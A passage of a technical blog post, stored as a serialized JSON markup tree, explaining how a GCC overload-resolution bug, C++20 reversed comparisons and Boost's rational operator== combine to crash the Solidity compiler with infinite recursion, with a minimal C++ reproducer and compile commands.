}\n",[103168],{"type":25,"tag":264,"props":103169,"children":103170},{"__ignoreMap":7},[103171],{"type":25,"tag":271,"props":103172,"children":103173},{"class":13593,"line":13594},[103174,103178,103182,103186,103191,103195,103199],{"type":25,"tag":271,"props":103175,"children":103176},{"style":16171},[103177],{"type":30,"value":28701},{"type":25,"tag":271,"props":103179,"children":103180},{"style":13625},[103181],{"type":30,"value":16213},{"type":25,"tag":271,"props":103183,"children":103184},{"style":13603},[103185],{"type":30,"value":17702},{"type":25,"tag":271,"props":103187,"children":103188},{"style":13625},[103189],{"type":30,"value":103190},"lengthValue ",{"type":25,"tag":271,"props":103192,"children":103193},{"style":13603},[103194],{"type":30,"value":21696},{"type":25,"tag":271,"props":103196,"children":103197},{"style":16187},[103198],{"type":30,"value":16190},{"type":25,"tag":271,"props":103200,"children":103201},{"style":13625},[103202],{"type":30,"value":103203},") { ... }\n",{"type":25,"tag":26,"props":103205,"children":103206},{},[103207,103209,103215],{"type":30,"value":103208},"That single comparison — a ",{"type":25,"tag":264,"props":103210,"children":103212},{"className":103211},[],[103213],{"type":30,"value":103214},"boost::rational",{"type":30,"value":103216}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":25,"tag":26,"props":103218,"children":103219},{},[103220],{"type":30,"value":103221},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":25,"tag":108,"props":103223,"children":103224},{},[103225,103230,103235],{"type":25,"tag":112,"props":103226,"children":103227},{},[103228],{"type":30,"value":103229},"A 12-year-old overload resolution bug in G++",{"type":25,"tag":112,"props":103231,"children":103232},{},[103233],{"type":30,"value":103234},"An outdated symmetric comparison pattern in Boost",{"type":25,"tag":112,"props":103236,"children":103237},{},[103238],{"type":30,"value":103239},"A subtle but impactful rewrite rule in C++20",{"type":25,"tag":26,"props":103241,"children":103242},{},[103243],{"type":30,"value":103244},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":25,"tag":92,"props":103246,"children":103247},{},[],{"type":25,"tag":96,"props":103249,"children":103251},{"id":103250},"background-the-setup",[103252],{"type":30,"value":103253},"Background: The Setup",{"type":25,"tag":26,"props":103255,"children":103256},{},[103257,103259,103266],{"type":30,"value":103258},"If you follow the ",{"type":25,"tag":83,"props":103260,"children":103263},{"href":103261,"rel":103262},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[9066],[103264],{"type":30,"value":103265},"Solidity build documentation (v0.8.30)",{"type":30,"value":103267},", you'll see it recommends:",{"type":25,"tag":108,"props":103269,"children":103270},{},[103271,103276],{"type":25,"tag":112,"props":103272,"children":103273},{},[103274],{"type":30,"value":103275},"Boost ≥ 1.67",{"type":25,"tag":112,"props":103277,"children":103278},{},[103279],{"type":30,"value":103280},"GCC ≥ 11",{"type":25,"tag":26,"props":103282,"children":103283},{},[103284],{"type":30,"value":103285},"Ubuntu 22.04, for example, ships with:",{"type":25,"tag":108,"props":103287,"children":103288},{},[103289,103294],{"type":25,"tag":112,"props":103290,"children":103291},{},[103292],{"type":30,"value":103293},"G++ 11.4.0",{"type":25,"tag":112,"props":103295,"children":103296},{},[103297],{"type":30,"value":103298},"Boost 1.74.0",{"type":25,"tag":26,"props":103300,"children":103301},{},[103302],{"type":30,"value":103303},"So far, so good.",{"type":25,"tag":26,"props":103305,"children":103306},{},[103307,103309,103314],{"type":30,"value":103308},"However, Solidity enabled ",{"type":25,"tag":38,"props":103310,"children":103311},{},[103312],{"type":30,"value":103313},"C++20",{"type":30,"value":103315}," in January 2025:",{"type":25,"tag":16074,"props":103317,"children":103318},{},[103319],{"type":25,"tag":26,"props":103320,"children":103321},{},[103322],{"type":25,"tag":83,"props":103323,"children":103326},{"href":103324,"rel":103325},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[9066],[103327],{"type":30,"value":103328},"Enable C++20 in Solidity",{"type":25,"tag":26,"props":103330,"children":103331},{},[103332],{"type":30,"value":103333},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":25,"tag":92,"props":103335,"children":103336},{},[],{"type":25,"tag":96,"props":103338,"children":103340},{"id":103339},"part-i-a-12-year-old-g-bug-in-overload-resolution",[103341],{"type":30,"value":103342},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":25,"tag":247,"props":103344,"children":103346},{"id":103345},"whats-overload-resolution",[103347],{"type":30,"value":103348},"What’s Overload Resolution?",{"type":25,"tag":26,"props":103350,"children":103351},{},[103352,103354,103360,103362,103368,103370,103375,103377,103382,103384,103390,103392,103397,103398,103404],{"type":30,"value":103353},"In C++, when you write an expression like ",{"type":25,"tag":264,"props":103355,"children":103357},{"className":103356},[],[103358],{"type":30,"value":103359},"a == b",{"type":30,"value":103361},", the compiler chooses among available ",{"type":25,"tag":264,"props":103363,"children":103365},{"className":103364},[],[103366],{"type":30,"value":103367},"operator==",{"type":30,"value":103369}," implementations by comparing their ",{"type":25,"tag":38,"props":103371,"children":103372},{},[103373],{"type":30,"value":103374},"match quality",{"type":30,"value":103376},". A ",{"type":25,"tag":38,"props":103378,"children":103379},{},[103380],{"type":30,"value":103381},"member function",{"type":30,"value":103383}," like ",{"type":25,"tag":264,"props":103385,"children":103387},{"className":103386},[],[103388],{"type":30,"value":103389},"a.operator==(b)",{"type":30,"value":103391}," usually has higher priority than a ",{"type":25,"tag":38,"props":103393,"children":103394},{},[103395],{"type":30,"value":103396},"non-member function",{"type":30,"value":103383},{"type":25,"tag":264,"props":103399,"children":103401},{"className":103400},[],[103402],{"type":30,"value":103403},"operator==(a, b)",{"type":30,"value":103405}," — unless the types differ too much or are ambiguous.",{"type":25,"tag":26,"props":103407,"children":103408},{},[103409],{"type":30,"value":103410},"That’s the rule. But G++ didn’t always follow it.",{"type":25,"tag":247,"props":103412,"children":103414},{"id":103413},"the-bug",[103415],{"type":30,"value":103416},"The Bug",{"type":25,"tag":26,"props":103418,"children":103419},{},[103420,103422,103429],{"type":30,"value":103421},"In 2012, a bug was filed: ",{"type":25,"tag":83,"props":103423,"children":103426},{"href":103424,"rel":103425},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[9066],[103427],{"type":30,"value":103428},"GCC Bug 53499 – overload resolution favors non-member function",{"type":30,"value":103430},". The issue? In expressions where:",{"type":25,"tag":108,"props":103432,"children":103433},{},[103434,103454],{"type":25,"tag":112,"props":103435,"children":103436},{},[103437,103439,103445,103447,103452],{"type":30,"value":103438},"A class ",{"type":25,"tag":264,"props":103440,"children":103442},{"className":103441},[],[103443],{"type":30,"value":103444},"rational\u003CT>",{"type":30,"value":103446}," has a templated ",{"type":25,"tag":264,"props":103448,"children":103450},{"className":103449},[],[103451],{"type":30,"value":103367},{"type":30,"value":103453}," member function",{"type":25,"tag":112,"props":103455,"children":103456},{},[103457,103459,103465],{"type":30,"value":103458},"There's also a more generic free ",{"type":25,"tag":264,"props":103460,"children":103462},{"className":103461},[],[103463],{"type":30,"value":103464},"operator==(rational\u003CT>, U)",{"type":30,"value":51324},{"type":25,"tag":26,"props":103467,"children":103468},{},[103469],{"type":25,"tag":38,"props":103470,"children":103471},{},[103472],{"type":30,"value":103473},"Clang correctly chooses the member function.",{"type":25,"tag":26,"props":103475,"children":103476},{},[103477],{"type":25,"tag":38,"props":103478,"children":103479},{},[103480],{"type":30,"value":103481},"G++ (before v14) chooses the non-member function.",{"type":25,"tag":26,"props":103483,"children":103484},{},[103485,103487,103492,103494,103501],{"type":30,"value":103486},"Why? Because G++ mishandles ",{"type":25,"tag":38,"props":103488,"children":103489},{},[103490],{"type":30,"value":103491},"templated conversion + non-exact match",{"type":30,"value":103493},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":25,"tag":83,"props":103495,"children":103498},{"href":103496,"rel":103497},"https://cplusplus.github.io/CWG/issues/532.html",[9066],[103499],{"type":30,"value":103500},"CWG532: Member/nonmember operator template partial ordering",{"type":30,"value":1860},{"type":25,"tag":247,"props":103503,"children":103505},{"id":103504},"a-minimal-reproducer",[103506],{"type":30,"value":103507},"A Minimal Reproducer",{"type":25,"tag":26,"props":103509,"children":103510},{},[103511],{"type":30,"value":103512},"Let’s see this in action:",{"type":25,"tag":7764,"props":103514,"children":103516},{"code":103515,"language":42224,"meta":7,"className":42222,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n    template \u003Cclass T>\n    bool operator==(const T& i) const {\n        std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n        return true;\n    }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n    std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n    return false;\n}\n\nint main() {\n    rational\u003Cint> r;\n    return r == 0;\n}\n",[103517],{"type":25,"tag":264,"props":103518,"children":103519},{"__ignoreMap":7},[103520,103533,103540,103565,103581,103589,103613,103658,103686,103701,103708,103715,103722,103758,103827,103852,103867,103874,103881,103897,103922,103946],{"type":25,"tag":271,"props":103521,"children":103522},{"class":13593,"line":13594},[103523,103528],{"type":25,"tag":271,"props":103524,"children":103525},{"style":16171},[103526],{"type":30,"value":103527},"#include",{"type":25,"tag":271,"props":103529,"children":103530},{"style":17388},[103531],{"type":30,"value":103532}," \u003Ciostream>\n",{"type":25,"tag":271,"props":103534,"children":103535},{"class":13593,"line":11641},[103536],{"type":25,"tag":271,"props":103537,"children":103538},{"emptyLinePlaceholder":18},[103539],{"type":30,"value":16829},{"type":25,"tag":271,"props":103541,"children":103542},{"class":13593,"line":14354},[103543,103547,103551,103556,103561],{"type":25,"tag":271,"props":103544,"children":103545},{"style":14289},[103546],{"type":30,"value":79331},{"type":25,"tag":271,"props":103548,"children":103549},{"style":13625},[103550],{"type":30,"value":21839},{"type":25,"tag":271,"props":103552,"children":103553},{"style":14289},[103554],{"type":30,"value":103555},"typename",{"type":25,"tag":271,"props":103557,"children":103558},{"style":13609},[103559],{"type":30,"value":103560}," IntType",{"type":25,"tag":271,"props":103562,"children":103563},{"style":13625},[103564],{"type":30,"value":14448},{"type":25,"tag":271,"props":103566,"children":103567},{"class":13593,"line":14391},[103568,103572,103577],{"type":25,"tag":271,"props":103569,"children":103570},{"style":14289},[103571],{"type":30,"value":83525},{"type":25,"tag":271,"props":103573,"children":103574},{"style":13609},[103575],{"type":30,"value":103576}," rational",{"type":25,"tag":271,"props":103578,"children":103579},{"style":13625},[103580],{"type":30,"value":16431},{"type":25,"tag":271,"props":103582,"children":103583},{"class":13593,"line":14400},[103584],{"type":25,"tag":271,"props":103585,"children":103586},{"style":14289},[103587],{"type":30,"value":103588},"public:\n",{"type":25,"tag":271,"props":103590,"children":103591},{"class":13593,"line":16406},[103592,103597,103601,103605,103609],{"type":25,"tag":271,"props":103593,"children":103594},{"style":14289},[103595],{"type":30,"value":103596},"    template",{"type":25,"tag":271,"props":103598,"children":103599},{"style":13625},[103600],{"type":30,"value":21839},{"type":25,"tag":271,"props":103602,"children":103603},{"style":14289},[103604],{"type":30,"value":83525},{"type":25,"tag":271,"props":103606,"children":103607},{"style":13609},[103608],{"type":30,"value":19050},{"type":25,"tag":271,"props":103610,"children":103611},{"style":13625},[103612],{"type":30,"value":14448},{"type":25,"tag":271,"props":103614,"children":103615},{"class":13593,"line":16434},[103616,103620,103625,103630,103634,103638,103642,103646,103650,103654],{"type":25,"tag":271,"props":103617,"children":103618},{"style":14289},[103619],{"type":30,"value":59588},{"type":25,"tag":271,"props":103621,"children":103622},{"style":14289},[103623],{"type":30,"value":103624}," operator",{"type":25,"tag":271,"props":103626,"children":103627},{"style":13625},[103628],{"type":30,"value":103629},"==(",{"type":25,"tag":271,"props":103631,"children":103632},{"style":14289},[103633],{"type":30,"value":22778},{"type":25,"tag":271,"props":103635,"children":103636},{"style":13609},[103637],{"type":30,"value":19050},{"type":25,"tag":271,"props":103639,"children":103640},{"style":14289},[103641],{"type":30,"value":13632},{"type":25,"tag":271,"props":103643,"children":103644},{"style":13598},[103645],{"type":30,"value":16544},{"type":25,"tag":271,"props":103647,"children":103648},{"style":13625},[103649],{"type":30,"value":14406},{"type":25,"tag":271,"props":103651,"children":103652},{"style":14289},[103653],{"type":30,"value":22778},{"type":25,"tag":271,"props":103655,"children":103656},{"style":13625},[103657],{"type":30,"value":16431},{"type":25,"tag":271,"props":103659,"children":103660},{"class":13593,"line":16447},[103661,103666,103671,103676,103681],{"type":25,"tag":271,"props":103662,"children":103663},{"style":13625},[103664],{"type":30,"value":103665},"        std::cout ",{"type":25,"tag":271,"props":103667,"children":103668},{"style":13603},[103669],{"type":30,"value":103670},"\u003C\u003C",{"type":25,"tag":271,"props":103672,"children":103673},{"style":17388},[103674],{"type":30,"value":103675}," \"clang++ resolved member\"",{"type":25,"tag":271,"props":103677,"children":103678},{"style":13603},[103679],{"type":30,"value":103680}," \u003C\u003C",{"type":25,"tag":271,"props":103682,"children":103683},{"style":13625},[103684],{"type":30,"value":103685}," std::endl;\n",{"type":25,"tag":271,"props":103687,"children":103688},{"class":13593,"line":16465},[103689,103693,103697],{"type":25,"tag":271,"props":103690,"children":103691},{"style":16171},[103692],{"type":30,"value":28866},{"type":25,"tag":271,"props":103694,"children":103695},{"style":14289},[103696],{"type":30,"value":25594},{"type":25,"tag":271,"props":103698,"children":103699},{"style":13625},[103700],{"type":30,"value":16165},{"type":25,"tag":271,"props":103702,"children":103703},{"class":13593,"line":16486},[103704],{"type":25,"tag":271,"props":103705,"children":103706},{"style":13625},[103707],{"type":30,"value":16501},{"type":25,"tag":271,"props":103709,"children":103710},{"class":13593,"line":16495},[103711],{"type":25,"tag":271,"props":103712,"children":103713},{"style":13625},[103714],{"type":30,"value":29700},{"type":25,"tag":271,"props":103716,"children":103717},{"class":13593,"line":16744},[103718],{"type":25,"tag":271,"props":103719,"children":103720},{"emptyLinePlaceholder":18},[103721],{"type":30,"value":16829},{"type":25,"tag":271,"props":103723,"children":103724},{"class":13593,"line":16761},[103725,103729,103733,103737,103742,103746,103750,103754],{"type":25,"tag":271,"props":103726,"children":103727},{"style":14289},[103728],{"type":30,"value":79331},{"type":25,"tag":271,"props":103730,"children":103731},{"style":13625},[103732],{"type":30,"value":21839},{"type":25,"tag":271,"props":103734,"children":103735},{"style":14289},[103736],{"type":30,"value":83525},{"type":25,"tag":271,"props":103738,"children":103739},{"style":13609},[103740],{"type":30,"value":103741}," Arg",{"type":25,"tag":271,"props":103743,"children":103744},{"style":13625},[103745],{"type":30,"value":44},{"type":25,"tag":271,"props":103747,"children":103748},{"style":14289},[103749],{"type":30,"value":83525},{"type":25,"tag":271,"props":103751,"children":103752},{"style":13609},[103753],{"type":30,"value":103560},{"type":25,"tag":271,"props":103755,"children":103756},{"style":13625},[103757],{"type":30,"value":14448},{"type":25,"tag":271,"props":103759,"children":103760},{"class":13593,"line":16778},[103761,103765,103769,103773,103777,103781,103785,103790,103794,103798,103802,103806,103810,103814,103818,103823],{"type":25,"tag":271,"props":103762,"children":103763},{"style":14289},[103764],{"type":30,"value":42798},{"type":25,"tag":271,"props":103766,"children":103767},{"style":14289},[103768],{"type":30,"value":103624},{"type":25,"tag":271,"props":103770,"children":103771},{"style":13625},[103772],{"type":30,"value":103629},{"type":25,"tag":271,"props":103774,"children":103775},{"style":14289},[103776],{"type":30,"value":22778},{"type":25,"tag":271,"props":103778,"children":103779},{"style":13609},[103780],{"type":30,"value":103576},{"type":25,"tag":271,"props":103782,"children":103783},{"style":13625},[103784],{"type":30,"value":14307},{"type":25,"tag":271,"props":103786,"children":103787},{"style":13609},[103788],{"type":30,"value":103789},"IntType",{"type":25,"tag":271,"props":103791,"children":103792},{"style":13625},[103793],{"type":30,"value":23586},{"type":25,"tag":271,"props":103795,"children":103796},{"style":14289},[103797],{"type":30,"value":13632},{"type":25,"tag":271,"props":103799,"children":103800},{"style":13598},[103801],{"type":30,"value":102948},{"type":25,"tag":271,"props":103803,"children":103804},{"style":13625},[103805],{"type":30,"value":44},{"type":25,"tag":271,"props":103807,"children":103808},{"style":14289},[103809],{"type":30,"value":22778},{"type":25,"tag":271,"props":103811,"children":103812},{"style":13609},[103813],{"type":30,"value":103741},{"type":25,"tag":271,"props":103815,"children":103816},{"style":14289},[103817],{"type":30,"value":13632},{"type":25,"tag":271,"props":103819,"children":103820},{"style":13598},[103821],{"type":30,"value":103822}," b",{"type":25,"tag":271,"props":103824,"children":103825},{"style":13625},[103826],{"type":30,"value":27925},{"type":25,"tag":271,"props":103828,"children":103829},{"class":13593,"line":16791},[103830,103835,103839,103844,103848],{"type":25,"tag":271,"props":103831,"children":103832},{"style":13625},[103833],{"type":30,"value":103834},"    std::cout ",{"type":25,"tag":271,"props":103836,"children":103837},{"style":13603},[103838],{"type":30,"value":103670},{"type":25,"tag":271,"props":103840,"children":103841},{"style":17388},[103842],{"type":30,"value":103843}," \"g++ \u003C14 resolved non-member\"",{"type":25,"tag":271,"props":103845,"children":103846},{"style":13603},[103847],{"type":30,"value":103680},{"type":25,"tag":271,"props":103849,"children":103850},{"style":13625},[103851],{"type":30,"value":103685},{"type":25,"tag":271,"props":103853,"children":103854},{"class":13593,"line":16800},[103855,103859,103863],{"type":25,"tag":271,"props":103856,"children":103857},{"style":16171},[103858],{"type":30,"value":30111},{"type":25,"tag":271,"props":103860,"children":103861},{"style":14289},[103862],{"type":30,"value":22179},{"type":25,"tag":271,"props":103864,"children":103865},{"style":13625},[103866],{"type":30,"value":16165},{"type":25,"tag":271,"props":103868,"children":103869},{"class":13593,"line":16823},[103870],{"type":25,"tag":271,"props":103871,"children":103872},{"style":13625},[103873],{"type":30,"value":17058},{"type":25,"tag":271,"props":103875,"children":103876},{"class":13593,"line":16832},[103877],{"type":25,"tag":271,"props":103878,"children":103879},{"emptyLinePlaceholder":18},[103880],{"type":30,"value":16829},{"type":25,"tag":271,"props":103882,"children":103883},{"class":13593,"line":16841},[103884,103888,103893],{"type":25,"tag":271,"props":103885,"children":103886},{"style":14289},[103887],{"type":30,"value":32168},{"type":25,"tag":271,"props":103889,"children":103890},{"style":13620},[103891],{"type":30,"value":103892}," main",{"type":25,"tag":271,"props":103894,"children":103895},{"style":13625},[103896],{"type":30,"value":28858},{"type":25,"tag":271,"props":103898,"children":103899},{"class":13593,"line":16907},[103900,103905,103909,103913,103917],{"type":25,"tag":271,"props":103901,"children":103902},{"style":13625},[103903],{"type":30,"value":103904},"    rational",{"type":25,"tag":271,"props":103906,"children":103907},{"style":13603},[103908],{"type":30,"value":14307},{"type":25,"tag":271,"props":103910,"children":103911},{"style":14289},[103912],{"type":30,"value":32168},{"type":25,"tag":271,"props":103914,"children":103915},{"style":13603},[103916],{"type":30,"value":23586},{"type":25,"tag":271,"props":103918,"children":103919},{"style":13625},[103920],{"type":30,"value":103921}," r;\n",{"type":25,"tag":271,"props":103923,"children":103924},{"class":13593,"line":16915},[103925,103929,103934,103938,103942],{"type":25,"tag":271,"props":103926,"children":103927},{"style":16171},[103928],{"type":30,"value":30111},{"type":25,"tag":271,"props":103930,"children":103931},{"style":13625},[103932],{"type":30,"value":103933}," r ",{"type":25,"tag":271,"props":103935,"children":103936},{"style":13603},[103937],{"type":30,"value":21696},{"type":25,"tag":271,"props":103939,"children":103940},{"style":16187},[103941],{"type":30,"value":16190},{"type":25,"tag":271,"props":103943,"children":103944},{"style":13625},[103945],{"type":30,"value":16165},{"type":25,"tag":271,"props":103947,"children":103948},{"class":13593,"line":16945},[103949],{"type":25,"tag":271,"props":103950,"children":103951},{"style":13625},[103952],{"type":30,"value":17058},{"type":25,"tag":108,"props":103954,"children":103955},{},[103956],{"type":25,"tag":112,"props":103957,"children":103958},{},[103959],{"type":30,"value":103960},"Compile with g++\u003C14:",{"type":25,"tag":7764,"props":103962,"children":103964},{"code":103963,"language":17373,"meta":7,"className":17374,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[103965],{"type":25,"tag":264,"props":103966,"children":103967},{"__ignoreMap":7},[103968],{"type":25,"tag":271,"props":103969,"children":103970},{"class":13593,"line":13594},[103971,103976,103981,103986,103991,103995,104000],{"type":25,"tag":271,"props":103972,"children":103973},{"style":13620},[103974],{"type":30,"value":103975},"g++",{"type":25,"tag":271,"props":103977,"children":103978},{"style":17388},[103979],{"type":30,"value":103980}," -std=c++17",{"type":25,"tag":271,"props":103982,"children":103983},{"style":17388},[103984],{"type":30,"value":103985}," main.cpp",{"type":25,"tag":271,"props":103987,"children":103988},{"style":17388},[103989],{"type":30,"value":103990}," -o",{"type":25,"tag":271,"props":103992,"children":103993},{"style":17388},[103994],{"type":30,"value":43790},{"type":25,"tag":271,"props":103996,"children":103997},{"style":13625},[103998],{"type":30,"value":103999}," && ",{"type":25,"tag":271,"props":104001,"children":104002},{"style":13620},[104003],{"type":30,"value":104004},"./test\n",{"type":25,"tag":26,"props":104006,"children":104007},{},[104008],{"type":30,"value":104009},"Output (on g++ 11.4):",{"type":25,"tag":7764,"props":104011,"children":104013},{"code":104012},"g++ \u003C14 resolved non-member\n",[104014],{"type":25,"tag":264,"props":104015,"children":104016},{"__ignoreMap":7},[104017],{"type":30,"value":104012},{"type":25,"tag":108,"props":104019,"children":104020},{},[104021],{"type":25,"tag":112,"props":104022,"children":104023},{},[104024],{"type":30,"value":104025},"Compile with clang++:",{"type":25,"tag":7764,"props":104027,"children":104029},{"code":104028,"language":17373,"meta":7,"className":17374,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[104030],{"type":25,"tag":264,"props":104031,"children":104032},{"__ignoreMap":7},[104033],{"type":25,"tag":271,"props":104034,"children":104035},{"class":13593,"line":13594},[104036,104041,104045,104049,104053,104057,104061],{"type":25,"tag":271,"props":104037,"children":104038},{"style":13620},[104039],{"type":30,"value":104040},"clang++",{"type":25,"tag":271,"props":104042,"children":104043},{"style":17388},[104044],{"type":30,"value":103980},{"type":25,"tag":271,"props":104046,"children":104047},{"style":17388},[104048],{"type":30,"value":103985},{"type":25,"tag":271,"props":104050,"children":104051},{"style":17388},[104052],{"type":30,"value":103990},{"type":25,"tag":271,"props":104054,"children":104055},{"style":17388},[104056],{"type":30,"value":43790},{"type":25,"tag":271,"props":104058,"children":104059},{"style":13625},[104060],{"type":30,"value":103999},{"type":25,"tag":271,"props":104062,"children":104063},{"style":13620},[104064],{"type":30,"value":104004},{"type":25,"tag":26,"props":104066,"children":104067},{},[104068],{"type":30,"value":104069},"Output:",{"type":25,"tag":7764,"props":104071,"children":104073},{"code":104072},"clang++ resolved member\n",[104074],{"type":25,"tag":264,"props":104075,"children":104076},{"__ignoreMap":7},[104077],{"type":30,"value":104072},{"type":25,"tag":26,"props":104079,"children":104080},{},[104081],{"type":30,"value":104082},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":25,"tag":92,"props":104084,"children":104085},{},[],{"type":25,"tag":96,"props":104087,"children":104089},{"id":104088},"part-ii-c20s-symmetric-comparison-feature",[104090],{"type":30,"value":104091},"Part II: C++20’s Symmetric Comparison Feature",{"type":25,"tag":247,"props":104093,"children":104095},{"id":104094},"what-changed-in-c20",[104096],{"type":30,"value":104097},"What Changed in C++20?",{"type":25,"tag":26,"props":104099,"children":104100},{},[104101,104103,104116,104117,104122],{"type":30,"value":104102},"C++20 introduced the ",{"type":25,"tag":83,"props":104104,"children":104107},{"href":104105,"rel":104106},"https://en.cppreference.com/w/cpp/language/operator_comparison",[9066],[104108,104110],{"type":30,"value":104109},"spaceship operator ",{"type":25,"tag":264,"props":104111,"children":104113},{"className":104112},[],[104114],{"type":30,"value":104115},"\u003C=>",{"type":30,"value":12218},{"type":25,"tag":38,"props":104118,"children":104119},{},[104120],{"type":30,"value":104121},"defaulted comparison rewrites",{"type":30,"value":1860},{"type":25,"tag":26,"props":104124,"children":104125},{},[104126,104128,104133],{"type":30,"value":104127},"When you define a two-argument ",{"type":25,"tag":264,"props":104129,"children":104131},{"className":104130},[],[104132],{"type":30,"value":103367},{"type":30,"value":104134},", C++20 may implicitly define the \"reversed\" version:",{"type":25,"tag":108,"props":104136,"children":104137},{},[104138,104149],{"type":25,"tag":112,"props":104139,"children":104140},{},[104141,104143],{"type":30,"value":104142},"If you define: ",{"type":25,"tag":264,"props":104144,"children":104146},{"className":104145},[],[104147],{"type":30,"value":104148},"bool operator==(T1, T2);",{"type":25,"tag":112,"props":104150,"children":104151},{},[104152,104154,104160],{"type":30,"value":104153},"Then ",{"type":25,"tag":264,"props":104155,"children":104157},{"className":104156},[],[104158],{"type":30,"value":104159},"T2 == T1",{"type":30,"value":104161}," may call the same function by reversing the arguments.",{"type":25,"tag":26,"props":104163,"children":104164},{},[104165,104167,104172,104173,104178,104180,104186,104188,104193],{"type":30,"value":104166},"This rewrite is ",{"type":25,"tag":38,"props":104168,"children":104169},{},[104170],{"type":30,"value":104171},"recursive",{"type":30,"value":28453},{"type":25,"tag":264,"props":104174,"children":104176},{"className":104175},[],[104177],{"type":30,"value":103359},{"type":30,"value":104179}," becomes ",{"type":25,"tag":264,"props":104181,"children":104183},{"className":104182},[],[104184],{"type":30,"value":104185},"b == a",{"type":30,"value":104187},", which becomes ",{"type":25,"tag":264,"props":104189,"children":104191},{"className":104190},[],[104192],{"type":30,"value":103359},{"type":30,"value":104194}," again, and so on — if not handled carefully.",{"type":25,"tag":26,"props":104196,"children":104197},{},[104198],{"type":30,"value":104199},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":25,"tag":92,"props":104201,"children":104202},{},[],{"type":25,"tag":96,"props":104204,"children":104206},{"id":104205},"part-iii-the-boost-trapdoor",[104207],{"type":30,"value":104208},"Part III: The Boost Trapdoor",{"type":25,"tag":26,"props":104210,"children":104211},{},[104212,104214,104220,104222,104227],{"type":30,"value":104213},"The old Boost ",{"type":25,"tag":264,"props":104215,"children":104217},{"className":104216},[],[104218],{"type":30,"value":104219},"rational",{"type":30,"value":104221}," class (prior to v1.75) defined both member function and non-member function of ",{"type":25,"tag":264,"props":104223,"children":104225},{"className":104224},[],[104226],{"type":30,"value":103367},{"type":30,"value":359},{"type":25,"tag":7764,"props":104229,"children":104231},{"code":104230,"language":42224,"meta":7,"className":42222,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[104232],{"type":25,"tag":264,"props":104233,"children":104234},{"__ignoreMap":7},[104235,104270,104293,104305,104312,104319,104326,104333,104340,104363,104451,104458,104509,104516,104523,104530,104537,104572,104580,104608,104647,104712,104719,104739],{"type":25,"tag":271,"props":104236,"children":104237},{"class":13593,"line":13594},[104238,104242,104246,104250,104254,104258,104262,104266],{"type":25,"tag":271,"props":104239,"children":104240},{"style":14289},[104241],{"type":30,"value":79331},{"type":25,"tag":271,"props":104243,"children":104244},{"style":13625},[104245],{"type":30,"value":21839},{"type":25,"tag":271,"props":104247,"children":104248},{"style":14289},[104249],{"type":30,"value":83525},{"type":25,"tag":271,"props":104251,"children":104252},{"style":13609},[104253],{"type":30,"value":103741},{"type":25,"tag":271,"props":104255,"children":104256},{"style":13625},[104257],{"type":30,"value":44},{"type":25,"tag":271,"props":104259,"children":104260},{"style":14289},[104261],{"type":30,"value":83525},{"type":25,"tag":271,"props":104263,"children":104264},{"style":13609},[104265],{"type":30,"value":103560},{"type":25,"tag":271,"props":104267,"children":104268},{"style":13625},[104269],{"type":30,"value":14448},{"type":25,"tag":271,"props":104271,"children":104272},{"class":13593,"line":11641},[104273,104277,104281,104285,104289],{"type":25,"tag":271,"props":104274,"children":104275},{"style":14289},[104276],{"type":30,"value":79331},{"type":25,"tag":271,"props":104278,"children":104279},{"style":13625},[104280],{"type":30,"value":21839},{"type":25,"tag":271,"props":104282,"children":104283},{"style":14289},[104284],{"type":30,"value":103555},{"type":25,"tag":271,"props":104286,"children":104287},{"style":13609},[104288],{"type":30,"value":103560},{"type":25,"tag":271,"props":104290,"children":104291},{"style":13625},[104292],{"type":30,"value":14448},{"type":25,"tag":271,"props":104294,"children":104295},{"class":13593,"line":14354},[104296,104300],{"type":25,"tag":271,"props":104297,"children":104298},{"style":14289},[104299],{"type":30,"value":83525},{"type":25,"tag":271,"props":104301,"children":104302},{"style":13609},[104303],{"type":30,"value":104304}," 